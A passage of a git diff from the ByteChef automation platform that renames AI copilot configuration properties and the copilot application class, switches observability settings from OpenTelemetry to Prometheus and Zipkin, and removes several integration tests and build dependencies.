-          temperature: ${bytechef.ai.anthropic.chat.options.temperature}
+          model: ${bytechef.ai.copilot.anthropic.chat.options.model}
+          temperature: ${bytechef.ai.copilot.anthropic.chat.options.temperature}
     openai:
-      api-key: ${bytechef.ai.openai.api-key}
+      api-key: ${bytechef.ai.copilot.openai.api-key}
       chat:
         options:
-          model: ${bytechef.ai.openai.chat.options.model}
-          temperature: ${bytechef.ai.openai.chat.options.temperature}
+          model: ${bytechef.ai.copilot.openai.chat.options.model}
+          temperature: ${bytechef.ai.copilot.openai.chat.options.temperature}
     vectorstore:
       type: none
       pgvector:
@@ -159,21 +148,21 @@ spring:
         distance-type: cosine_distance
         dimensions: 1536
         max-document-batch-size: 10000
+        initialize-schema: true
   application:
     name: server-app
   autoconfigure:
     exclude:
-      org.springframework.boot.data.redis.autoconfigure.DataRedisAutoConfiguration,
-      org.springframework.boot.neo4j.autoconfigure.Neo4jAutoConfiguration
-  batch:
-    job:
-      enabled: false
+      org.springframework.boot.autoconfigure.neo4j.Neo4jAutoConfiguration,
+      org.springframework.boot.autoconfigure.data.redis.RedisAutoConfiguration
   cache:
     type: ${bytechef.cache.provider}
   cloud:
     aws:
       s3:
         enabled: false
+      secretsmanager:
+        enabled: false
       sqs:
         enabled: false
   datasource:
@@ -273,3 +262,120 @@ templates:
   submission-form:
     projects: https://forms.gle/W6zsUuwd7qPtoE836
     workflows: https://forms.gle/xA8yyUSzKkHYajHx5
+
+######################################################################
+
+bytechef:
+  ai:
+    copilot:
+      anthropic:
+        chat:
+          options:
+            model: claude-sonnet-4-5
+            temperature: 0.5
+        embedding:
+          provider: openai
+          openai:
+            options:
+              model: text-embedding-3-small
+      provider: openai
+      enabled: false
+      openai:
+        chat:
+          options:
+            model: gpt-5.1
+            temperature: 0.5
+        embedding:
+          options:
+            model: text-embedding-3-small
+  analytics:
+    enabled: false
+  cache:
+    # Cache provider (redis | caffeine) default: caffeine
+    provider: caffeine
+  coordinator:
+    trigger:
+      polling:
+        # Trigger polling interval in minutes (default: 5)
+        check-period: 5
+      scheduler:
+        # Trigger scheduler provider (aws(ee) | quartz) default: quartz
+        provider: quartz
+  data-storage:
+    # Data storage provider (aws(ee) | filesystem | jdbc) default: jdbc
+    provider: jdbc
+  # Edition (CE - Community Edition | EE - Enterprise Edition) default: EE
+  edition: EE
+  # Encryption key provider (filesystem - the key generated on filesystem, property - the key read from property) default: filesystem
+  encryption:
+    provider: filesystem
+  file-storage:
+    # File storage provider (aws(ee) | filesystem | jdbc) default: filesystem
+    provider: filesystem
+    filesystem:
+      basedir: ${user.home}/bytechef/data/file-storage
+  help-hub:
+    enabled: false
+  mail:
+    auth: false
+    base-url: ${bytechef.public-url}
+    debug: false
+    from: noreply@app.bytechef.io
+    host: localhost
+    port: 25
+    protocol: smtp
+    ssl:
+      enabled: false
+    starttls:
+      enable: false
+      required: false
+  message-broker:
+    # Messaging provider between Coordinator and Workers (amqp | jms | kafka | memory | redis) default: memory
+    provider: memory
+  oauth2:
+#    predefinedApps:
+#      mailchimp:
+#        clientId: 123456789
+#        clientSecret: 123456789
+    redirect-uri: ${bytechef.public-url}/callback
+  observability:
+    loki:
+      appender:
+        level: "ALL"
+        http:
+          url: http://localhost:3100/loki/api/v1/push
+    enabled: false
+  public-url:
+  resources:
+    web: file:///opt/bytechef/client/
+  security:
+    content-security-policy: "default-src 'self'; frame-src 'self' https://*.command.ai data:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.command.ai https://*.commandbar.com https://*.i.posthog.com https://cdn.jsdelivr.net https://storage.googleapis.com https://unpkg.com; style-src 'self' 'unsafe-inline' https://*.commandbar.com https://cdn.jsdelivr.net https://*.command.ai https://unpkg.com; img-src 'self' https://*.command.ai data:; font-src 'self' data:; media-src 'self' https://*.command.ai; connect-src 'self' https://*.command.ai https://*.i.posthog.com https://*.commandbar.com; worker-src blob: 'self';"
+    system:
+      username: system_admin
+      password:
+  sign-up:
+    activation-required: false
+  # Tenant support mode (single | multi - ee only) default: single
+  tenant:
+    mode: single
+  tracing:
+    otlp:
+      endpoint: http://localhost:4318/v1/traces
+  webhook-url:
+  # When the worker is enabled, subscribe to the default "default" queue with 10 concurrent consumers.
+  # You may also route workflow tasks to other arbitrarily named task queues by specifying the "node"
+  # property on any given task.
+  # E.g. node: captions will route to the captions queue which a worker would subscribe to with workflow.worker.subscriptions.captions.
+  # Note: queue must be created before tasks can be routed to it. ByteChef will create the queue if it isn't already there when the worker
+  # bootstraps.
+  worker:
+    task:
+      subscriptions:
+        default: 10
+  workflow:
+    output-storage:
+      # Output storage provider for workflow output data (aws(ee) | filesystem | jdbc) default: jdbc
+      provider: jdbc
+    repository:
+      jdbc:
+        enabled: true
diff --git a/server/apps/server-app/src/test/java/com/bytechef/server/ServerApplicationIntTest.java b/server/apps/server-app/src/test/java/com/bytechef/server/ServerApplicationIntTest.java
index b7bd1fd7539..eda06b93024 100644
--- a/server/apps/server-app/src/test/java/com/bytechef/server/ServerApplicationIntTest.java
+++ b/server/apps/server-app/src/test/java/com/bytechef/server/ServerApplicationIntTest.java
@@ -16,101 +16,31 @@
 
 package com.bytechef.server;
 
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.Mockito.mock;
-
-import com.bytechef.ai.mcp.tool.automation.impl.ProjectToolsImpl;
-import com.bytechef.ai.mcp.tool.automation.impl.ProjectWorkflowToolsImpl;
-import com.bytechef.ai.mcp.tool.platform.ComponentTools;
-import com.bytechef.ai.mcp.tool.platform.TaskDispatcherTools;
-import com.bytechef.ai.mcp.tool.platform.TaskTools;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentChunkFacade;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentFacade;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseFacade;
-import com.bytechef.automation.knowledgebase.facade.WorkspaceKnowledgeBaseFacade;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentChunkService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentTagService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseTagService;
-import com.bytechef.automation.knowledgebase.service.WorkspaceKnowledgeBaseService;
-import com.bytechef.ee.ai.copilot.config.AgUiJacksonConfiguration;
-import com.bytechef.ee.ai.copilot.config.CopilotConfiguration;
-import com.bytechef.ee.ai.copilot.config.CopilotPgVectorConfiguration;
-import com.bytechef.ee.ai.copilot.service.CopilotVectorStoreService;
-import com.bytechef.ee.ai.copilot.web.rest.CopilotApiController;
 import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
 import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.boot.test.context.SpringBootTest;
 import org.springframework.boot.test.context.TestConfiguration;
-import org.springframework.context.ApplicationContext;
-import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Import;
-import org.springframework.context.annotation.Primary;
 import org.springframework.mail.javamail.JavaMailSender;
+import org.springframework.test.context.bean.override.mockito.MockitoBean;
 
 /**
  * @author Ivica Cardic
  */
 @SpringBootTest
 @Import({
-    PostgreSQLContainerConfiguration.class, ServerApplicationIntTest.ServerApplicationIntTestConfiguration.class
+    PostgreSQLContainerConfiguration.class
 })
 class ServerApplicationIntTest {
 
-    @Autowired
-    private ApplicationContext applicationContext;
-
     @Test
     void testContextLoads() {
     }
 
-    @Test
-    void testAiToolsBeansNotPresentWhenFeatureDisabled() {
-        // Verify that AI/MCP tool beans are not present when both
-        // bytechef.ai.mcp.server.enabled and bytechef.ai.copilot.enabled are false
-        assertThat(applicationContext.getBeanNamesForType(ComponentTools.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(TaskTools.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(TaskDispatcherTools.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(ProjectToolsImpl.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(ProjectWorkflowToolsImpl.class)).isEmpty();
-    }
-
-    @Test
-    void testCopilotBeansNotPresentWhenFeatureDisabled() {
-        // Verify that Copilot beans are not present when bytechef.ai.copilot.enabled is false
-        assertThat(applicationContext.getBeanNamesForType(CopilotConfiguration.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(CopilotVectorStoreService.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(CopilotPgVectorConfiguration.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(AgUiJacksonConfiguration.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(CopilotApiController.class)).isEmpty();
-    }
-
-    @Test
-    void testKnowledgeBaseBeansNotPresentWhenFeatureDisabled() {
-        // Verify that knowledge base services are not present when the feature is disabled
-        assertThat(applicationContext.getBeanNamesForType(KnowledgeBaseService.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(KnowledgeBaseDocumentService.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(KnowledgeBaseDocumentChunkService.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(KnowledgeBaseTagService.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(KnowledgeBaseDocumentTagService.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(WorkspaceKnowledgeBaseService.class)).isEmpty();
-
-        // Verify that knowledge base facades are not present
-        assertThat(applicationContext.getBeanNamesForType(KnowledgeBaseFacade.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(KnowledgeBaseDocumentFacade.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(KnowledgeBaseDocumentChunkFacade.class)).isEmpty();
-        assertThat(applicationContext.getBeanNamesForType(WorkspaceKnowledgeBaseFacade.class)).isEmpty();
-    }
-
     @TestConfiguration
     static class ServerApplicationIntTestConfiguration {
 
-        @Bean
-        @Primary
-        JavaMailSender javaMailSender() {
-            return mock(JavaMailSender.class);
-        }
+        @MockitoBean
+        private JavaMailSender javaMailSender;
     }
 }
diff --git a/server/apps/server-app/src/test/java/com/bytechef/server/config/JdbcConfigurationIntTest.java b/server/apps/server-app/src/test/java/com/bytechef/server/config/JdbcConfigurationIntTest.java
deleted file mode 100644
index 6286c145637..00000000000
--- a/server/apps/server-app/src/test/java/com/bytechef/server/config/JdbcConfigurationIntTest.java
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.server.config;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.Mockito.mock;
-
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.ee.tenant.multi.sql.MultiTenantDataSource;
-import com.bytechef.encryption.Encryption;
-import com.zaxxer.hikari.HikariDataSource;
-import javax.sql.DataSource;
-import org.junit.jupiter.api.Test;
-import org.springframework.boot.autoconfigure.AutoConfigurations;
-import org.springframework.boot.context.properties.EnableConfigurationProperties;
-import org.springframework.boot.jdbc.autoconfigure.DataSourceAutoConfiguration;
-import org.springframework.boot.jdbc.autoconfigure.DataSourceProperties;
-import org.springframework.boot.test.context.runner.ApplicationContextRunner;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.testcontainers.containers.PostgreSQLContainer;
-import org.testcontainers.junit.jupiter.Container;
-import org.testcontainers.junit.jupiter.Testcontainers;
-import tools.jackson.databind.ObjectMapper;
-
-/**
- * Integration tests for {@link JdbcConfiguration} to verify that the correct DataSource is loaded based on tenant mode
- * configuration.
- *
- * <p>
- * These tests verify that when tenant mode is "single" (explicitly set) or not set (matchIfMissing = true), the
- * JdbcConfiguration DataSource bean is active and returns a HikariDataSource (not wrapped in MultiTenantDataSource).
- *
- * @author Ivica Cardic
- */
-@Testcontainers
-class JdbcConfigurationIntTest {
-
-    @Container
-    private static final PostgreSQLContainer<?> postgreSQLContainer = new PostgreSQLContainer<>("postgres:16-alpine");
-
-    private final ApplicationContextRunner contextRunner = new ApplicationContextRunner()
-        .withConfiguration(AutoConfigurations.of(DataSourceAutoConfiguration.class))
-        .withUserConfiguration(JdbcConfiguration.class, TestConfiguration.class)
-        .withPropertyValues(
-            "spring.datasource.url=" + postgreSQLContainer.getJdbcUrl(),
-            "spring.datasource.username=" + postgreSQLContainer.getUsername(),
-            "spring.datasource.password=" + postgreSQLContainer.getPassword());
-
-    @Test
-    void testDataSourceIsHikariDataSourceInSingleTenantMode() {
-        contextRunner.withPropertyValues("bytechef.tenant.mode=single")
-            .run(context -> {
-                assertThat(context).hasSingleBean(DataSource.class);
-
-                DataSource dataSource = context.getBean(DataSource.class);
-
-                assertThat(dataSource).isInstanceOf(HikariDataSource.class);
-                assertThat(dataSource).isNotInstanceOf(MultiTenantDataSource.class);
-            });
-    }
-
-    @Test
-    void testDataSourceIsHikariDataSourceWhenTenantModeNotSet() {
-        contextRunner.run(context -> {
-            assertThat(context).hasSingleBean(DataSource.class);
-
-            DataSource dataSource = context.getBean(DataSource.class);
-
-            assertThat(dataSource).isInstanceOf(HikariDataSource.class);
-            assertThat(dataSource).isNotInstanceOf(MultiTenantDataSource.class);
-        });
-    }
-
-    @Test
-    void testDataSourceConnectionIsValid() {
-        contextRunner.withPropertyValues("bytechef.tenant.mode=single")
-            .run(context -> {
-                DataSource dataSource = context.getBean(DataSource.class);
-
-                try (var connection = dataSource.getConnection()) {
-                    assertThat(connection).isNotNull();
-                    assertThat(connection.isValid(5)).isTrue();
-                }
-            });
-    }
-
-    @Configuration
-    @EnableConfigurationProperties({
-        ApplicationProperties.class, DataSourceProperties.class
-    })
-    static class TestConfiguration {
-
-        @Bean
-        Encryption encryption() {
-            return mock(Encryption.class);
-        }
-
-        @Bean
-        ObjectMapper objectMapper() {
-            return new ObjectMapper();
-        }
-    }
-}
diff --git a/server/apps/server-app/src/test/resources/config/application-testint.yml b/server/apps/server-app/src/test/resources/config/application-testint.yml
index 4725e48bf85..d0c4c79886a 100644
--- a/server/apps/server-app/src/test/resources/config/application-testint.yml
+++ b/server/apps/server-app/src/test/resources/config/application-testint.yml
@@ -1,10 +1,4 @@
 bytechef:
-  ai:
-    copilot:
-      enabled: false
-    mcp:
-      server:
-        enabled: false
   security:
     remember-me:
       key: test
diff --git a/server/docker-compose.dev.infra.yml b/server/docker-compose.dev.infra.yml
index 6f667fb35e8..2afaac316bd 100644
--- a/server/docker-compose.dev.infra.yml
+++ b/server/docker-compose.dev.infra.yml
@@ -16,7 +16,7 @@ services:
     environment:
       - "POSTGRES_PASSWORD=postgres"
       - "POSTGRES_USER=postgres"
-      - "POSTGRES_DB=bytechef_vectorstore"
+      - "POSTGRES_DB=bytechef_copilot"
   postgres:
     image: postgres:16-alpine
     platform: linux/amd64
diff --git a/server/ee/apps/ai-copilot-app/build.gradle.kts b/server/ee/apps/ai-copilot-app/build.gradle.kts
index dc885b4c1a5..ad64808991b 100644
--- a/server/ee/apps/ai-copilot-app/build.gradle.kts
+++ b/server/ee/apps/ai-copilot-app/build.gradle.kts
@@ -2,7 +2,7 @@ group = "com.bytechef.ai.copilot"
 description = ""
 
 springBoot {
-    mainClass.set("com.bytechef.ai.copilot.CopilotApplication")
+    mainClass.set("com.bytechef.ai.copilot.AiCopilotApplication")
 }
 
 dependencies {
diff --git a/server/ee/apps/ai-copilot-app/src/main/java/com/bytechef/ai/copilot/AiCopilotApplication.java b/server/ee/apps/ai-copilot-app/src/main/java/com/bytechef/ai/copilot/AiCopilotApplication.java
new file mode 100644
index 00000000000..b5af6125e57
--- /dev/null
+++ b/server/ee/apps/ai-copilot-app/src/main/java/com/bytechef/ai/copilot/AiCopilotApplication.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ai.copilot;
+
+import com.bytechef.AbstractApplication;
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+/**
+ * @version ee
+ *
+ * @author Ivica Cardic
+ */
+@SpringBootApplication(scanBasePackages = "com.bytechef")
+public class AiCopilotApplication extends AbstractApplication {
+
+    /**
+     * Main method, used to run the application.
+     *
+     * @param args the command line arguments.
+     */
+    public static void main(String[] args) {
+        SpringApplication.run(AiCopilotApplication.class, args);
+    }
+}
diff --git a/server/ee/apps/ai-copilot-app/src/main/java/com/bytechef/ai/copilot/CopilotApplication.java b/server/ee/apps/ai-copilot-app/src/main/java/com/bytechef/ai/copilot/CopilotApplication.java
deleted file mode 100644
index 0548d232cad..00000000000
--- a/server/ee/apps/ai-copilot-app/src/main/java/com/bytechef/ai/copilot/CopilotApplication.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ai.copilot;
-
-import com.bytechef.AbstractApplication;
-import org.springframework.boot.SpringApplication;
-import org.springframework.boot.autoconfigure.SpringBootApplication;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-@SpringBootApplication(scanBasePackages = "com.bytechef")
-public class CopilotApplication extends AbstractApplication {
-
-    /**
-     * Main method, used to run the application.
-     *
-     * @param args the command line arguments.
-     */
-    public static void main(String[] args) {
-        SpringApplication.run(CopilotApplication.class, args);
-    }
-}
diff --git a/server/ee/apps/ai-copilot-app/src/main/resources/application-dev.yml b/server/ee/apps/ai-copilot-app/src/main/resources/application-dev.yml
index 7383a69799a..50a2091c2bf 100644
--- a/server/ee/apps/ai-copilot-app/src/main/resources/application-dev.yml
+++ b/server/ee/apps/ai-copilot-app/src/main/resources/application-dev.yml
@@ -8,6 +8,6 @@ bytechef:
     copilot:
       vectorstore:
         pgvector:
-          url: jdbc:postgresql://localhost:5433/bytechef_vectorstore
+          url: jdbc:postgresql://localhost:5433/bytechef_copilot
           username: postgres
           password: postgres
diff --git a/server/ee/apps/ai-copilot-app/src/main/resources/application.yml b/server/ee/apps/ai-copilot-app/src/main/resources/application.yml
index d329da31459..4cbc37cfabe 100644
--- a/server/ee/apps/ai-copilot-app/src/main/resources/application.yml
+++ b/server/ee/apps/ai-copilot-app/src/main/resources/application.yml
@@ -25,7 +25,7 @@ spring:
     name: ai-copilot
   datasource:
     type: com.zaxxer.hikari.HikariDataSource
-    url: jdbc:postgresql://localhost:5432/bytechef_vectorstore
+    url: jdbc:postgresql://localhost:5432/bytechef_copilot
     username: postgres
     password: postgres
   profiles:
diff --git a/server/ee/apps/api-gateway-app/build.gradle.kts b/server/ee/apps/api-gateway-app/build.gradle.kts
index c47ee6678ee..d044e9f9c05 100644
--- a/server/ee/apps/api-gateway-app/build.gradle.kts
+++ b/server/ee/apps/api-gateway-app/build.gradle.kts
@@ -9,7 +9,6 @@ dependencies {
     implementation("org.apache.commons:commons-lang3")
     implementation("org.springframework.boot:spring-boot-starter-actuator")
     implementation("org.springframework.boot:spring-boot-starter-data-redis")
-    implementation("org.springframework.boot:spring-boot-starter-opentelemetry")
     implementation("org.springframework.cloud:spring-cloud-starter-loadbalancer")
     implementation("org.springframework.cloud:spring-cloud-starter-config")
     implementation("org.springframework.cloud:spring-cloud-starter-gateway-server-webmvc")
diff --git a/server/ee/apps/config-server-app/src/main/resources/config/apps/application.yml b/server/ee/apps/config-server-app/src/main/resources/config/apps/application.yml
index d94b4082a4a..50133a8b5b7 100644
--- a/server/ee/apps/config-server-app/src/main/resources/config/apps/application.yml
+++ b/server/ee/apps/config-server-app/src/main/resources/config/apps/application.yml
@@ -66,29 +66,19 @@ management:
   observations:
     key-values:
       application: ${spring.application.name}
-  opentelemetry:
-    tracing:
-      export:
-        otlp:
-          endpoint: ${bytechef.observability.tracing.endpoint}
-    logging:
+  # Prometheus is the default metrics backend
+  prometheus:
+    metrics:
       export:
-        otlp:
-          endpoint: ${bytechef.observability.logging.endpoint}
-  logging:
-    export:
-      enabled: ${bytechef.observability.enabled}
+        enabled: true
+        step: 60
   tracing:
-    export:
-      enabled: ${bytechef.observability.enabled}
     sampling:
       probability: 1.0
-  otlp:
-    metrics:
-      export:
-        enabled: ${bytechef.observability.enabled}
-        step: 10s
-        url: ${bytechef.observability.metrics.endpoint}
+  zipkin:
+    tracing:
+      endpoint: ${bytechef.tracing.zipkin.endpoint}
+      encoding: PROTO3
 
 openapi:
   openAPIDefinition:
@@ -177,6 +167,9 @@ bytechef:
   # Tenant support mode (single | multi - ee only) default: single
   tenant:
     mode: single
+  tracing:
+    zipkin:
+      endpoint: http://localhost:4318/v1/traces
   webhook-url: http://127.0.0.1:7888/webhooks/{id}
   # When the worker is enabled, subscribe to the default "default" queue with 10 concurrent consumers.
   # You may also route workflow tasks to other arbitrarily named task queues by specifying the "node"
@@ -195,3 +188,8 @@ bytechef:
     repository:
       jdbc:
         enabled: true
+  loki:
+    appender:
+      level: "OFF"
+      http:
+        url: http://localhost:3100/loki/api/v1/push
diff --git a/server/ee/apps/configuration-app/build.gradle.kts b/server/ee/apps/configuration-app/build.gradle.kts
index e0d7b2b7b95..0b852db0324 100644
--- a/server/ee/apps/configuration-app/build.gradle.kts
+++ b/server/ee/apps/configuration-app/build.gradle.kts
@@ -15,7 +15,6 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-starter-data-jdbc")
     implementation("org.springframework.boot:spring-boot-starter-data-redis")
     implementation("org.springframework.boot:spring-boot-starter-graphql")
-    implementation("org.springframework.boot:spring-boot-starter-opentelemetry")
     implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
     implementation("org.springframework.boot:spring-boot-starter-validation")
     implementation("org.springframework.boot:spring-boot-starter-web")
@@ -50,7 +49,6 @@ dependencies {
     implementation(project(":server:libs:core:evaluator:evaluator-impl"))
     implementation(project(":server:libs:core:rest:rest-impl"))
     implementation(project(":server:libs:platform:platform-category:platform-category-service"))
-    implementation(project(":server:libs:platform:platform-component:platform-component-log:platform-component-log-service"))
     implementation(project(":server:libs:platform:platform-configuration:platform-configuration-graphql"))
     implementation(project(":server:libs:platform:platform-configuration:platform-configuration-rest:platform-configuration-rest-impl"))
     implementation(project(":server:libs:platform:platform-configuration:platform-configuration-service"))
diff --git a/server/ee/apps/connection-app/build.gradle.kts b/server/ee/apps/connection-app/build.gradle.kts
index 782892d300f..a8fb8d2c448 100644
--- a/server/ee/apps/connection-app/build.gradle.kts
+++ b/server/ee/apps/connection-app/build.gradle.kts
@@ -13,7 +13,6 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-starter-aspectj")
     implementation("org.springframework.boot:spring-boot-starter-data-jdbc")
     implementation("org.springframework.boot:spring-boot-starter-data-redis")
-    implementation("org.springframework.boot:spring-boot-starter-opentelemetry")
     implementation("org.springframework.boot:spring-boot-starter-web")
     implementation("org.springframework.cloud:spring-cloud-starter-config")
     implementation("org.springframework.cloud:spring-cloud-starter-loadbalancer")
diff --git a/server/ee/apps/coordinator-app/build.gradle.kts b/server/ee/apps/coordinator-app/build.gradle.kts
index e821b0a4ec7..152780f04e6 100644
--- a/server/ee/apps/coordinator-app/build.gradle.kts
+++ b/server/ee/apps/coordinator-app/build.gradle.kts
@@ -13,7 +13,6 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-starter-data-redis")
     implementation("org.springframework.boot:spring-boot-starter-jms")
     implementation("org.springframework.boot:spring-boot-starter-kafka")
-    implementation("org.springframework.boot:spring-boot-starter-opentelemetry")
     implementation("org.springframework.boot:spring-boot-starter-web")
     implementation("org.springframework.cloud:spring-cloud-starter-config")
     implementation("org.springframework.cloud:spring-cloud-starter-loadbalancer")
diff --git a/server/ee/apps/execution-app/build.gradle.kts b/server/ee/apps/execution-app/build.gradle.kts
index e6af5718aac..975320ecf61 100644
--- a/server/ee/apps/execution-app/build.gradle.kts
+++ b/server/ee/apps/execution-app/build.gradle.kts
@@ -13,7 +13,6 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-starter-aspectj")
     implementation("org.springframework.boot:spring-boot-starter-cache")
     implementation("org.springframework.boot:spring-boot-starter-data-jdbc")
-    implementation("org.springframework.boot:spring-boot-starter-opentelemetry")
     implementation("org.springframework.boot:spring-boot-starter-data-redis")
     implementation("org.springframework.boot:spring-boot-starter-web")
     implementation("org.springframework.cloud:spring-cloud-starter-config")
diff --git a/server/ee/apps/runtime-job-app/Dockerfile b/server/ee/apps/runtime-job-app/Dockerfile
index 7acfb32e853..b5b4a56b3fd 100644
--- a/server/ee/apps/runtime-job-app/Dockerfile
+++ b/server/ee/apps/runtime-job-app/Dockerfile
@@ -1,5 +1,5 @@
 # docker/dockerfile:1
-FROM ghcr.io/graalvm/graalvm-community:25.0.2  AS bytechef-runtime-job-base
+FROM ghcr.io/graalvm/graalvm-community:25.0.0  AS bytechef-runtime-job-base
 
 ARG ARG_APPLICATION_HOME=/opt/bytechef
 
diff --git a/server/ee/apps/runtime-job-app/build.gradle.kts b/server/ee/apps/runtime-job-app/build.gradle.kts
index 1c6f9c5f662..6ae59de67a7 100644
--- a/server/ee/apps/runtime-job-app/build.gradle.kts
+++ b/server/ee/apps/runtime-job-app/build.gradle.kts
@@ -9,7 +9,6 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-starter")
     implementation("org.springframework.boot:spring-boot-starter-actuator")
     implementation("org.springframework.boot:spring-boot-starter-cache")
-    implementation("org.springframework.boot:spring-boot-starter-opentelemetry")
     implementation(project(":server:libs:atlas:atlas-configuration:atlas-configuration-config"))
     implementation(project(":server:libs:atlas:atlas-configuration:atlas-configuration-converter"))
     implementation(project(":server:libs:atlas:atlas-configuration:atlas-configuration-repository:atlas-configuration-repository-git"))
@@ -41,7 +40,6 @@ dependencies {
     implementation(project(":server:libs:core:message:message-event:message-event-impl"))
     implementation(project(":server:libs:platform:platform-component:platform-component-api"))
     implementation(project(":server:libs:platform:platform-component:platform-component-context:platform-component-context-service"))
-    implementation(project(":server:libs:platform:platform-component:platform-component-log:platform-component-log-service"))
     implementation(project(":server:libs:platform:platform-component:platform-component-service"))
     implementation(project(":server:libs:platform:platform-connection:platform-connection-api"))
     implementation(project(":server:libs:platform:platform-data-storage:platform-data-storage-api"))
diff --git a/server/ee/apps/scheduler-app/build.gradle.kts b/server/ee/apps/scheduler-app/build.gradle.kts
index 7c60bb69936..9ff16c626b2 100644
--- a/server/ee/apps/scheduler-app/build.gradle.kts
+++ b/server/ee/apps/scheduler-app/build.gradle.kts
@@ -10,7 +10,6 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-starter-actuator")
     implementation("org.springframework.boot:spring-boot-starter-aspectj")
     implementation("org.springframework.boot:spring-boot-starter-data-redis")
-    implementation("org.springframework.boot:spring-boot-starter-opentelemetry")
     implementation("org.springframework.boot:spring-boot-starter-quartz")
     implementation("org.springframework.boot:spring-boot-starter-web")
     implementation("org.springframework.cloud:spring-cloud-starter-config")
diff --git a/server/ee/apps/webhook-app/build.gradle.kts b/server/ee/apps/webhook-app/build.gradle.kts
index 459876f97a1..71fd8de2148 100644
--- a/server/ee/apps/webhook-app/build.gradle.kts
+++ b/server/ee/apps/webhook-app/build.gradle.kts
@@ -11,7 +11,6 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-starter-data-redis")
     implementation("org.springframework.boot:spring-boot-starter-aspectj")
     implementation("org.springframework.boot:spring-boot-starter-cache")
-    implementation("org.springframework.boot:spring-boot-starter-opentelemetry")
     implementation("org.springframework.boot:spring-boot-starter-web")
     implementation("org.springframework.cloud:spring-cloud-starter-config")
     implementation("org.springframework.cloud:spring-cloud-starter-loadbalancer")
diff --git a/server/ee/apps/webhook-app/src/main/java/com/bytechef/webhook/config/EvaluatorConfiguration.java b/server/ee/apps/webhook-app/src/main/java/com/bytechef/webhook/config/EvaluatorConfiguration.java
index e9ba8500fa0..d1948cbdde3 100644
--- a/server/ee/apps/webhook-app/src/main/java/com/bytechef/webhook/config/EvaluatorConfiguration.java
+++ b/server/ee/apps/webhook-app/src/main/java/com/bytechef/webhook/config/EvaluatorConfiguration.java
@@ -9,7 +9,6 @@
 
 import com.bytechef.evaluator.Evaluator;
 import com.bytechef.evaluator.SpelEvaluator;
-import com.bytechef.platform.workflow.worker.ai.FromAi;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 
@@ -23,8 +22,6 @@ public class EvaluatorConfiguration {
 
     @Bean
     Evaluator evaluator() {
-        return SpelEvaluator.builder()
-            .methodExecutor("fromAi", new FromAi())
-            .build();
+        return SpelEvaluator.create();
     }
 }
diff --git a/server/ee/apps/worker-app/build.gradle.kts b/server/ee/apps/worker-app/build.gradle.kts
index fc560b2caa8..d1277f6c1a1 100644
--- a/server/ee/apps/worker-app/build.gradle.kts
+++ b/server/ee/apps/worker-app/build.gradle.kts
@@ -14,7 +14,6 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-starter-data-redis")
     implementation("org.springframework.boot:spring-boot-starter-jms")
     implementation("org.springframework.boot:spring-boot-starter-kafka")
-    implementation("org.springframework.boot:spring-boot-starter-opentelemetry")
     implementation("org.springframework.boot:spring-boot-starter-web")
     implementation("org.springframework.cloud:spring-cloud-starter-config")
